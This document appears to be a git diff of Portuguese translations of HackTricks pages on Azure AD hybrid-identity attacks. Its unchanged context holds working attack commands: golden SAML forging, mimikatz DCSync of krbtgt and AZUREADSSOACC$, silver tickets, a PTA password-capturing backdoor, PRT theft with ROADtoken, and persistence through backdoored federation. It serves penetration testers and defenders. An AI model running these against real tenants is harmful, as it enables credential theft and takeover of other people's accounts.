Para cada método de integração, a sincronização de usuários é realizada, e uma conta `MSOL_<installationidentifier>` é criada no AD local. Notavelmente, tanto os métodos **PHS** quanto **PTA** facilitam o **Seamless SSO**, permitindo o login automático para computadores Azure AD associados ao domínio local.
Para verificar a instalação do **Azure AD Connect**, o seguinte comando PowerShell, utilizando o módulo **AzureADConnectHealthSync** (instalado por padrão com o Azure AD Connect), pode ser usado:
```powershell
```bash
Get-ADSyncConnector
```
{{#include ../../../../banners/hacktricks-training.md}}

2
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md
View File

@@ -9,7 +9,7 @@ Para sincronizar um novo usuário **do AzureAD para o AD on-prem**, estes são o
- O **usuário do AzureAD** precisa ter um endereço proxy (uma **caixa de correio**)
- Licença não é necessária
- Não deve **já estar sincronizado**
```powershell
```bash
Get-MsolUser -SerachString admintest | select displayname, lastdirsynctime, proxyaddresses, lastpasswordchangetimestamp | fl
```
Quando um usuário como esses é encontrado no AzureAD, para **acessá-lo a partir do AD local** você só precisa **criar uma nova conta** com o **proxyAddress** o e-mail SMTP.

18
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md
View File

@@ -1,4 +1,4 @@
# Az - Federation
# Az - Federação
{{#include ../../../../banners/hacktricks-training.md}}
@@ -24,7 +24,7 @@ Em qualquer configuração de federação, existem três partes:
<figure><img src="../../../../images/image (121).png" alt=""><figcaption></figcaption></figure>
1. Inicialmente, um aplicativo (Provedor de Serviço ou SP, como console AWS ou cliente web vSphere) é acessado por um usuário. Esta etapa pode ser ignorada, levando o cliente diretamente ao IdP (Provedor de Identidade) dependendo da implementação específica.
1. Inicialmente, um aplicativo (Provedor de Serviço ou SP, como o console AWS ou o cliente web vSphere) é acessado por um usuário. Esta etapa pode ser ignorada, levando o cliente diretamente ao IdP (Provedor de Identidade) dependendo da implementação específica.
2. Em seguida, o SP identifica o IdP apropriado (por exemplo, AD FS, Okta) para autenticação do usuário. Ele então cria um AuthnRequest SAML (Security Assertion Markup Language) e redireciona o cliente para o IdP escolhido.
3. O IdP assume, autenticando o usuário. Após a autenticação, uma SAMLResponse é formulada pelo IdP e encaminhada ao SP através do usuário.
4. Finalmente, o SP avalia a SAMLResponse. Se validada com sucesso, implicando uma relação de confiança com o IdP, o usuário recebe acesso. Isso marca a conclusão do processo de login, permitindo que o usuário utilize o serviço.
@@ -38,9 +38,9 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
## Pivoting
- AD FS é um modelo de identidade baseado em declarações.
- "..as declarações são simplesmente afirmações (por exemplo, nome, identidade, grupo), feitas sobre usuários, que são usadas principalmente para autorizar o acesso a aplicações baseadas em declarações localizadas em qualquer lugar na Internet."
- "..as declarações são simplesmente afirmações (por exemplo, nome, identidade, grupo), feitas sobre usuários, que são usadas principalmente para autorizar acesso a aplicações baseadas em declarações localizadas em qualquer lugar na Internet."
- As declarações para um usuário são escritas dentro dos tokens SAML e, em seguida, assinadas para fornecer confidencialidade pelo IdP.
- Um usuário é identificado pelo ImmutableID. Ele é globalmente único e armazenado no Azure AD.
- Um usuário é identificado por ImmutableID. É globalmente único e armazenado no Azure AD.
- O ImmutableID é armazenado on-prem como ms-DS-ConsistencyGuid para o usuário e/ou pode ser derivado do GUID do usuário.
- Mais informações em [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims)
@@ -56,7 +56,7 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
O processo onde um **Provedor de Identidade (IdP)** produz uma **SAMLResponse** para autorizar o login do usuário é fundamental. Dependendo da implementação específica do IdP, a **resposta** pode ser **assinada** ou **criptografada** usando a **chave privada do IdP**. Este procedimento permite que o **Provedor de Serviço (SP)** confirme a autenticidade da SAMLResponse, garantindo que foi realmente emitida por um IdP confiável.
Um paralelo pode ser traçado com o [ataque golden ticket](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket), onde a chave que autentica a identidade e permissões do usuário (KRBTGT para tickets dourados, chave privada de assinatura de token para golden SAML) pode ser manipulada para **forjar um objeto de autenticação** (TGT ou SAMLResponse). Isso permite a impersonação de qualquer usuário, concedendo acesso não autorizado ao SP.
Um paralelo pode ser traçado com o [ataque de golden ticket](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket), onde a chave que autentica a identidade e permissões do usuário (KRBTGT para tickets de ouro, chave privada de assinatura de token para golden SAML) pode ser manipulada para **forjar um objeto de autenticação** (TGT ou SAMLResponse). Isso permite a impersonação de qualquer usuário, concedendo acesso não autorizado ao SP.
Golden SAMLs oferecem certas vantagens:
@@ -69,7 +69,7 @@ Golden SAMLs oferecem certas vantagens:
[Active Directory Federation Services (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>) é um serviço da Microsoft que facilita a **troca segura de informações de identidade** entre parceiros de negócios confiáveis (federação). Ele essencialmente permite que um serviço de domínio compartilhe identidades de usuários com outros provedores de serviço dentro de uma federação.
Com a AWS confiando no domínio comprometido (em uma federação), essa vulnerabilidade pode ser explorada para potencialmente **adquirir quaisquer permissões no ambiente AWS**. O ataque requer a **chave privada usada para assinar os objetos SAML**, semelhante à necessidade do KRBTGT em um ataque de ticket dourado. O acesso à conta de usuário do AD FS é suficiente para obter essa chave privada.
Com a AWS confiando no domínio comprometido (em uma federação), essa vulnerabilidade pode ser explorada para potencialmente **adquirir quaisquer permissões no ambiente AWS**. O ataque requer a **chave privada usada para assinar os objetos SAML**, semelhante à necessidade do KRBTGT em um ataque de golden ticket. O acesso à conta de usuário do AD FS é suficiente para obter essa chave privada.
Os requisitos para executar um ataque golden SAML incluem:
@@ -84,7 +84,7 @@ Os requisitos para executar um ataque golden SAML incluem:
_Somente os itens em negrito são obrigatórios. Os outros podem ser preenchidos conforme desejado._
Para adquirir a **chave privada**, é necessário acesso à **conta de usuário do AD FS**. A partir daí, a chave privada pode ser **exportada do armazenamento pessoal** usando ferramentas como [mimikatz](https://github.com/gentilkiwi/mimikatz). Para coletar as outras informações necessárias, você pode utilizar o snapin Microsoft.Adfs.Powershell da seguinte forma, garantindo que você esteja logado como o usuário ADFS:
```powershell
```bash
# From an "AD FS" session
# After having exported the key with mimikatz
@@ -115,7 +115,7 @@ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -
<figure><img src="../../../../images/image (128).png" alt=""><figcaption></figcaption></figure>
### On-prem -> nuvem
```powershell
```bash
# With a domain user you can get the ImmutableID of the target user
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())
@@ -134,7 +134,7 @@ Export-AADIntADFSSigningCertificate
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose
```
Também é possível criar ImmutableID de usuários apenas na nuvem e se passar por eles.
```powershell
```bash
# Create a realistic ImmutableID and set it for a cloud only user
[System.Convert]::ToBase64String((New-Guid).tobytearray())
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="

18
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md
View File

@@ -13,7 +13,7 @@
Todos os **usuários** e um **hash dos hashes de senha** são sincronizados do local para o Azure AD. No entanto, **senhas em texto claro** ou os **hashes** **originais** não são enviados para o Azure AD.\
Além disso, grupos de segurança **integrados** (como administradores de domínio...) **não são sincronizados** com o Azure AD.
A **sincronização de hashes** ocorre a cada **2 minutos**. No entanto, por padrão, **expiração de senha** e **expiração de conta** **não são sincronizadas** no Azure AD. Assim, um usuário cuja **senha local expirou** (não alterada) pode continuar a **acessar recursos do Azure** usando a senha antiga.
A **sincronização de hashes** ocorre a cada **2 minutos**. No entanto, por padrão, **expiração de senha** e **expiração de conta** **não são sincronizadas** no Azure AD. Assim, um usuário cuja **senha local expirou** (não foi alterada) pode continuar a **acessar recursos do Azure** usando a senha antiga.
Quando um usuário local deseja acessar um recurso do Azure, a **autenticação ocorre no Azure AD**.
@@ -24,7 +24,7 @@ Quando um usuário local deseja acessar um recurso do Azure, a **autenticação
Quando o PHS é configurado, algumas **contas privilegiadas** são automaticamente **criadas**:
- A conta **`MSOL_<installationID>`** é automaticamente criada no AD local. Esta conta recebe um papel de **Contas de Sincronização de Diretório** (veja [documentação](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)), o que significa que ela tem **permissões de replicação (DCSync) no AD local**.
- Uma conta **`Sync_<nome do servidor ADConnect local>_installationID`** é criada no Azure AD. Esta conta pode **reiniciar a senha de QUALQUER usuário** (sincronizado ou apenas na nuvem) no Azure AD.
- Uma conta **`Sync_<nome do servidor ADConnect local>_installationID`** é criada no Azure AD. Esta conta pode **reiniciar a senha de QUALQUER usuário** (sincronizado ou apenas em nuvem) no Azure AD.
As senhas das duas contas privilegiadas anteriores são **armazenadas em um servidor SQL** no servidor onde **Azure AD Connect está instalado.** Os administradores podem extrair as senhas desses usuários privilegiados em texto claro.\
O banco de dados está localizado em `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.
@@ -33,14 +33,14 @@ O banco de dados está localizado em `C:\Program Files\Microsoft Azure AD Sync\D
`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
A **configuração criptografada** é criptografada com **DPAPI** e contém as **senhas do usuário `MSOL_*`** no AD local e a senha de **Sync\_\*** no AzureAD. Portanto, comprometendo essas informações, é possível realizar privesc para o AD e para o AzureAD.
A **configuração criptografada** é criptografada com **DPAPI** e contém as **senhas do usuário `MSOL_*`** no AD local e a senha de **Sync\_\*** no AzureAD. Portanto, comprometendo essas informações, é possível obter privilégios elevados no AD e no AzureAD.
Você pode encontrar uma [visão geral completa de como essas credenciais são armazenadas e descriptografadas nesta palestra](https://www.youtube.com/watch?v=JEIR5oGCwdg).
### Encontrando o **servidor de conexão do Azure AD**
Se o **servidor onde o Azure AD Connect está instalado** estiver associado ao domínio (recomendado na documentação), é possível encontrá-lo com:
```powershell
```bash
# ActiveDirectory module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl
@@ -48,7 +48,7 @@ Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAc
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}
```
### Abusando do MSOL\_*
```powershell
```bash
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Get-AADIntSyncCredentials
@@ -61,8 +61,8 @@ Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.lo
### Abusando Sync\_\*
Comprometendo a conta **`Sync_*`** é possível **reiniciar a senha** de qualquer usuário (incluindo Administradores Globais)
```powershell
Comprometer a conta **`Sync_*`** torna possível **reiniciar a senha** de qualquer usuário (incluindo Administradores Globais)
```bash
# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials
@@ -83,7 +83,7 @@ Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustA
# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
```
Também é possível **modificar as senhas apenas dos usuários da nuvem** (mesmo que isso seja inesperado)
```powershell
```bash
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID
@@ -91,7 +91,7 @@ Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,Obj
# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
```
É também possível extrair a senha deste usuário.
É também possível despejar a senha deste usuário.
> [!CAUTION]
> Outra opção seria **atribuir permissões privilegiadas a um principal de serviço**, que o usuário **Sync** tem **permissões** para fazer, e então **acessar esse principal de serviço** como uma forma de privesc.

8
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md
View File

@@ -4,9 +4,9 @@
## Informações Básicas
[Dos documentos:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) A Autenticação Pass-through do Azure Active Directory (Azure AD) permite que seus usuários **façam login em aplicativos tanto locais quanto baseados em nuvem usando as mesmas senhas**. Este recurso proporciona uma melhor experiência para seus usuários - uma senha a menos para lembrar, e reduz os custos do suporte de TI, pois seus usuários são menos propensos a esquecer como fazer login. Quando os usuários fazem login usando o Azure AD, este recurso **valida as senhas dos usuários diretamente contra seu Active Directory local**.
[Dos documentos:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) A Autenticação Pass-through do Azure Active Directory (Azure AD) permite que seus usuários **façam login em aplicativos tanto locais quanto baseados em nuvem usando as mesmas senhas**. Este recurso proporciona uma melhor experiência para seus usuários - uma senha a menos para lembrar, e reduz os custos do suporte de TI, pois seus usuários têm menos probabilidade de esquecer como fazer login. Quando os usuários fazem login usando o Azure AD, este recurso **valida as senhas dos usuários diretamente contra seu Active Directory local**.
No PTA, as **identidades** são **sincronizadas**, mas as **senhas** **não são**, como no PHS.
Na PTA, as **identidades** são **sincronizadas**, mas as **senhas** **não** são, como no PHS.
A autenticação é validada no AD local e a comunicação com a nuvem é feita por um **agente de autenticação** executando em um **servidor local** (não precisa estar no DC local).
@@ -26,14 +26,14 @@ A autenticação é validada no AD local e a comunicação com a nuvem é feita
### Local -> nuvem
Se você tiver acesso **administrativo** ao **servidor Azure AD Connect** com o **agente PTA** em execução, você pode usar o módulo **AADInternals** para **inserir uma porta dos fundos** que **validará TODAS as senhas** introduzidas (então todas as senhas serão válidas para autenticação):
```powershell
```bash
Install-AADIntPTASpy
```
> [!NOTE]
> Se a **instalação falhar**, isso provavelmente se deve à falta dos [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe).
Também é possível **ver as senhas em texto claro enviadas para o agente PTA** usando o seguinte cmdlet na máquina onde o backdoor anterior foi instalado:
```powershell
```bash
Get-AADIntPTASpyLog -DecodePasswords
```
Este backdoor irá:

12
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md
View File

@@ -20,8 +20,8 @@ Os **tickets Kerberos** são **criptografados** usando o **NTHash (MD4)** da sen
### On-prem -> nuvem
A **senha** do usuário **`AZUREADSSOACC$` nunca muda**. Portanto, um administrador de domínio poderia comprometer o **hash desta conta**, e então usá-lo para **criar tickets silver** para se conectar ao Azure com **qualquer usuário on-prem sincronizado**:
```powershell
A **senha** do usuário **`AZUREADSSOACC$` nunca muda**. Portanto, um administrador de domínio poderia comprometer o **hash desta conta**, e então usá-lo para **criar silver tickets** para se conectar ao Azure com **qualquer usuário on-prem sincronizado**:
```bash
# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
@@ -39,7 +39,7 @@ $key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos
```
Com o hash, você agora pode **gerar tickets silver**:
```powershell
```bash
# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier
@@ -64,7 +64,7 @@ Para utilizar o silver ticket, os seguintes passos devem ser executados:
3. **Acessar a Aplicação Web:**
- Visite uma aplicação web que esteja integrada com o domínio AAD da organização. Um exemplo comum é [Office 365](https://portal.office.com/).
4. **Processo de Autenticação:**
- Na tela de login, o nome de usuário deve ser inserido, deixando o campo da senha em branco.
- Na tela de login, o nome de usuário deve ser inserido, deixando o campo de senha em branco.
- Para prosseguir, pressione TAB ou ENTER.
> [!TIP]
@@ -93,9 +93,9 @@ Se os administradores do Active Directory tiverem acesso ao Azure AD Connect, el
> Alterar o SID de usuários administradores apenas na nuvem agora está **bloqueado pela Microsoft**.\
> Para mais informações, consulte [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
### On-prem -> Nuvem via Delegação Constrained Baseada em Recursos <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
### On-prem -> Nuvem via Delegação Constrained Baseada em Recurso <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
Qualquer pessoa que possa gerenciar contas de computador (`AZUREADSSOACC$`) no contêiner ou OU em que essa conta está, pode **configurar uma delegação constrained baseada em recursos sobre a conta e acessá-la**.
Qualquer pessoa que possa gerenciar contas de computador (`AZUREADSSOACC$`) no contêiner ou OU em que essa conta está, pode **configurar uma delegação constrained baseada em recurso sobre a conta e acessá-la**.
```python
python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$
```

34
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md
View File

@@ -12,7 +12,7 @@ az-primary-refresh-token-prt.md
```
Dsregcmd.exe /status
```
Na seção SSO State, você deve ver o **`AzureAdPrt`** definido como **YES**.
Na seção Estado do SSO, você deve ver o **`AzureAdPrt`** definido como **SIM**.
<figure><img src="../../../images/image (140).png" alt=""><figcaption></figcaption></figure>
@@ -57,11 +57,11 @@ Como **SYSTEM**, você poderia **roubar o PRT se não estiver protegido** pelo T
### Ataque - ROADtoken
Para mais informações sobre essa forma [**ver este post**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/). O ROADtoken executará **`BrowserCore.exe`** do diretório correto e usará isso para **obter um cookie PRT**. Este cookie pode então ser usado com ROADtools para autenticar e **obter um token de atualização persistente**.
Para mais informações sobre essa abordagem [**ver este post**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/). O ROADtoken executará **`BrowserCore.exe`** do diretório correto e usará isso para **obter um cookie PRT**. Este cookie pode então ser usado com ROADtools para autenticar e **obter um token de atualização persistente**.
Para gerar um cookie PRT válido, a primeira coisa que você precisa é de um nonce.\
Você pode obter isso com:
```powershell
```bash
$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"
@@ -77,19 +77,19 @@ $Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA
```
Ou usando [**roadrecon**](https://github.com/dirkjanm/ROADtools):
```powershell
```bash
roadrecon auth prt-init
```
Então você pode usar [**roadtoken**](https://github.com/dirkjanm/ROADtoken) para obter um novo PRT (execute a ferramenta a partir de um processo do usuário a ser atacado):
```powershell
```bash
.\ROADtoken.exe <nonce>
```
Como uma linha:
```powershell
```bash
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
```
Então você pode usar o **cookie gerado** para **gerar tokens** para **fazer login** usando Azure AD **Graph** ou Microsoft Graph:
```powershell
```bash
# Generate
roadrecon auth --prt-cookie <prt_cookie>
@@ -101,7 +101,7 @@ Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>
### Ataque - Usando AADInternals e um PRT vazado
`Get-AADIntUserPRTToken` **obtém o token PRT do usuário** do computador associado ao Azure AD ou associado de forma híbrida. Usa `BrowserCore.exe` para obter o token PRT.
```powershell
```bash
# Get the PRToken
$prtToken = Get-AADIntUserPRTToken
@@ -109,7 +109,7 @@ $prtToken = Get-AADIntUserPRTToken
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
```
Ou se você tiver os valores do Mimikatz, você também pode usar AADInternals para gerar um token:
```powershell
```bash
# Mimikat "PRT" value
$MimikatzPRT="MC5BWU..."
@@ -146,7 +146,7 @@ HttpOnly: Set to True (checked)
Então vá para [https://portal.azure.com](https://portal.azure.com)
> [!CAUTION]
> O restante deve ser os padrões. Certifique-se de que você pode atualizar a página e o cookie não desaparece, se isso acontecer, você pode ter cometido um erro e terá que passar pelo processo novamente. Se não, você deve estar bem.
> O restante deve ser os padrões. Certifique-se de que você pode atualizar a página e o cookie não desaparece, se isso acontecer, você pode ter cometido um erro e terá que passar pelo processo novamente. Se não desaparecer, você deve estar bem.
### Ataque - Mimikatz
@@ -154,7 +154,7 @@ Então vá para [https://portal.azure.com](https://portal.azure.com)
1. O **PRT (Primary Refresh Token) é extraído do LSASS** (Local Security Authority Subsystem Service) e armazenado para uso posterior.
2. A **Chave de Sessão é extraída em seguida**. Dado que essa chave é inicialmente emitida e depois recriptografada pelo dispositivo local, é necessário descriptografá-la usando uma chave mestra DPAPI. Informações detalhadas sobre DPAPI (Data Protection API) podem ser encontradas nesses recursos: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) e para entender sua aplicação, consulte [Pass-the-cookie attack](az-pass-the-cookie.md).
3. Após a descriptografia da Chave de Sessão, a **chave derivada e o contexto para o PRT são obtidos**. Estes são cruciais para a **criação do cookie PRT**. Especificamente, a chave derivada é empregada para assinar o JWT (JSON Web Token) que constitui o cookie. Uma explicação abrangente desse processo foi fornecida por Dirk-jan, acessível [aqui](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/).
3. Após a descriptografia da Chave de Sessão, a **chave derivada e o contexto para o PRT são obtidos**. Estes são cruciais para a **criação do cookie PRT**. Especificamente, a chave derivada é utilizada para assinar o JWT (JSON Web Token) que constitui o cookie. Uma explicação abrangente desse processo foi fornecida por Dirk-jan, acessível [aqui](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/).
> [!CAUTION]
> Note que se o PRT estiver dentro do TPM e não dentro do `lsass`, **mimikatz não conseguirá extraí-lo**.\
@@ -166,7 +166,7 @@ Você pode encontrar uma **explicação detalhada do processo realizado** para e
> Isso não funcionará exatamente após as correções de agosto de 2021 para obter tokens PRT de outros usuários, pois apenas o usuário pode obter seu PRT (um administrador local não pode acessar os PRTs de outros usuários), mas pode acessar o seu.
Você pode usar **mimikatz** para extrair o PRT:
```powershell
```bash
mimikatz.exe
Privilege::debug
Sekurlsa::cloudap
@@ -179,15 +179,15 @@ Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
<figure><img src="../../../images/image (251).png" alt=""><figcaption></figcaption></figure>
**Copie** a parte rotulada **Prt** e salve-a.\
Extraia também a chave da sessão (o **`KeyValue`** do campo **`ProofOfPossesionKey`**) que você pode ver destacado abaixo. Isso está criptografado e precisaremos usar nossas chaves mestras DPAPI para descriptografá-lo.
**Copie** a parte rotulada como **Prt** e salve-a.\
Extraia também a chave da sessão (o **`KeyValue`** do campo **`ProofOfPossesionKey`**) que você pode ver destacado abaixo. Isso está criptografado e precisaremos usar nossas chaves mestras do DPAPI para descriptografá-lo.
<figure><img src="../../../images/image (182).png" alt=""><figcaption></figcaption></figure>
> [!NOTE]
> Se você não ver nenhum dado PRT, pode ser que você **não tenha nenhum PRT** porque seu dispositivo não está associado ao Azure AD ou pode ser que você esteja **executando uma versão antiga** do Windows 10.
> Se você não ver nenhum dado de PRT, pode ser que você **não tenha nenhum PRT** porque seu dispositivo não está associado ao Azure AD ou pode ser que você esteja **executando uma versão antiga** do Windows 10.
Para **descriptografar** a chave da sessão, você precisa **elevar** seus privilégios para **SYSTEM** para executar sob o contexto do computador e poder usar a **chave mestra DPAPI para descriptografá-la**. Você pode usar os seguintes comandos para fazer isso:
Para **descriptografar** a chave da sessão, você precisa **elevar** seus privilégios para **SYSTEM** para executar sob o contexto do computador e poder usar a **chave mestra do DPAPI para descriptografá-la**. Você pode usar os seguintes comandos para fazer isso:
```
token::elevate
dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect
@@ -220,7 +220,7 @@ HttpOnly: Set to True (checked)
- Em seguida, vá para [https://portal.azure.com](https://portal.azure.com)
> [!CAUTION]
> O restante deve ser os padrões. Certifique-se de que você pode atualizar a página e o cookie não desaparece; se desaparecer, você pode ter cometido um erro e terá que passar pelo processo novamente. Se não desaparecer, você deve estar bem.
> O restante deve ser o padrão. Certifique-se de que você pode atualizar a página e o cookie não desaparece; se desaparecer, você pode ter cometido um erro e terá que passar pelo processo novamente. Se não desaparecer, você deve estar bem.
#### Opção 2 - roadrecon usando PRT

6
src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md
View File

@@ -1,7 +1,9 @@
# Az - Permissões para um Pentest
# Az - Permissions for a Pentest
{{#include ../../banners/hacktricks-training.md}}
Para iniciar os testes, você deve ter acesso com um usuário com **permissões de Leitor sobre a assinatura** e **papel de Leitor Global no AzureAD**. Se mesmo assim você **não conseguir acessar o conteúdo das contas de Armazenamento**, você pode corrigir isso com o **papel de Contribuidor de Conta de Armazenamento**.
Para iniciar uma revisão de hardening de caixa branca de alguns inquilinos do Entra ID, você precisa solicitar o **papel de Leitor Global em cada inquilino**. Além disso, para realizar uma revisão de hardening de diferentes assinaturas do Azure, você precisaria de pelo menos as **permissões de Leitor sobre todas as assinaturas**.
Observe que, se esses papéis não forem suficientes para acessar todas as informações necessárias, você também pode pedir ao cliente papéis com as permissões que precisa. Apenas tente **minimizar a quantidade de permissões que não são somente leitura que você solicita!**
{{#include ../../banners/hacktricks-training.md}}

16
src/pentesting-cloud/azure-security/az-persistence/README.md
View File

@@ -1,10 +1,10 @@
# Az - Persistência
# Az - Persistence
{{#include ../../../banners/hacktricks-training.md}}
### Concessão de Consentimento Ilícito
Por padrão, qualquer usuário pode registrar um aplicativo no Azure AD. Assim, você pode registrar um aplicativo (apenas para o locatário alvo) que precisa de permissões de alto impacto com consentimento do administrador (e aprová-lo se você for o administrador) - como enviar e-mails em nome de um usuário, gerenciamento de funções, etc. Isso nos permitirá **executar ataques de phishing** que seriam muito **frutíferos** em caso de sucesso.
Por padrão, qualquer usuário pode registrar um aplicativo no Azure AD. Assim, você pode registrar um aplicativo (apenas para o inquilino alvo) que precisa de permissões de alto impacto com consentimento do administrador (e aprová-lo se você for o administrador) - como enviar e-mails em nome de um usuário, gerenciamento de funções, etc. Isso nos permitirá **executar ataques de phishing** que seriam muito **frutíferos** em caso de sucesso.
Além disso, você também poderia aceitar esse aplicativo com seu usuário como uma forma de manter o acesso sobre ele.
@@ -14,16 +14,16 @@ Com privilégios de Administrador de Aplicativos, GA ou um papel personalizado c
É possível **mirar em um aplicativo com altas permissões** ou **adicionar um novo aplicativo** com altas permissões.
Um papel interessante a ser adicionado ao aplicativo seria o **papel de administrador de autenticação privilegiada**, pois permite **reiniciar a senha** de Administradores Globais.
Um papel interessante para adicionar ao aplicativo seria o **papel de administrador de autenticação privilegiada**, pois permite **reiniciar a senha** de Administradores Globais.
Essa técnica também permite **contornar a MFA**.
```powershell
```bash
$passwd = ConvertTo-SecureString "J~Q~QMt_qe4uDzg53MDD_jrj_Q3P.changed" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential("311bf843-cc8b-459c-be24-6ed908458623", $passwd)
Connect-AzAccount -ServicePrincipal -Credential $credentials -Tenant e12984235-1035-452e-bd32-ab4d72639a
```
- Para autenticação baseada em certificado
```powershell
```bash
Connect-AzAccount -ServicePrincipal -Tenant <TenantId> -CertificateThumbprint <Thumbprint> -ApplicationId <ApplicationId>
```
### Federação - Certificado de Assinatura de Token
@@ -31,17 +31,17 @@ Connect-AzAccount -ServicePrincipal -Tenant <TenantId> -CertificateThumbprint <T
Com **privilegios de DA** no AD local, é possível criar e importar **novos certificados de assinatura de Token** e **certificados de descriptografia de Token** que têm uma validade muito longa. Isso nos permitirá **fazer login como qualquer usuário** cujo ImuutableID conhecemos.
**Execute** o comando abaixo como **DA no(s) servidor(es) ADFS** para criar novos certificados (senha padrão 'AADInternals'), adicioná-los ao ADFS, desativar a rotação automática e reiniciar o serviço:
```powershell
```bash
New-AADIntADFSSelfSignedCertificates
```
Em seguida, atualize as informações do certificado com o Azure AD:
```powershell
```bash
Update-AADIntADFSFederationSettings -Domain cyberranges.io
```
### Federação - Domínio Confiável
Com privilégios de GA em um locatário, é possível **adicionar um novo domínio** (deve ser verificado), configurar seu tipo de autenticação como Federado e configurar o domínio para **confiar em um certificado específico** (any.sts no comando abaixo) e emissor:
```powershell
```bash
# Using AADInternals
ConvertTo-AADIntBackdoor -DomainName cyberranges.io

14
src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md
View File

@@ -10,7 +10,7 @@ Para mais informações, consulte:
../az-services/az-automation-accounts.md
{{#endref}}
### Grupo de Trabalhadores Híbridos
### Hybrid Workers Group
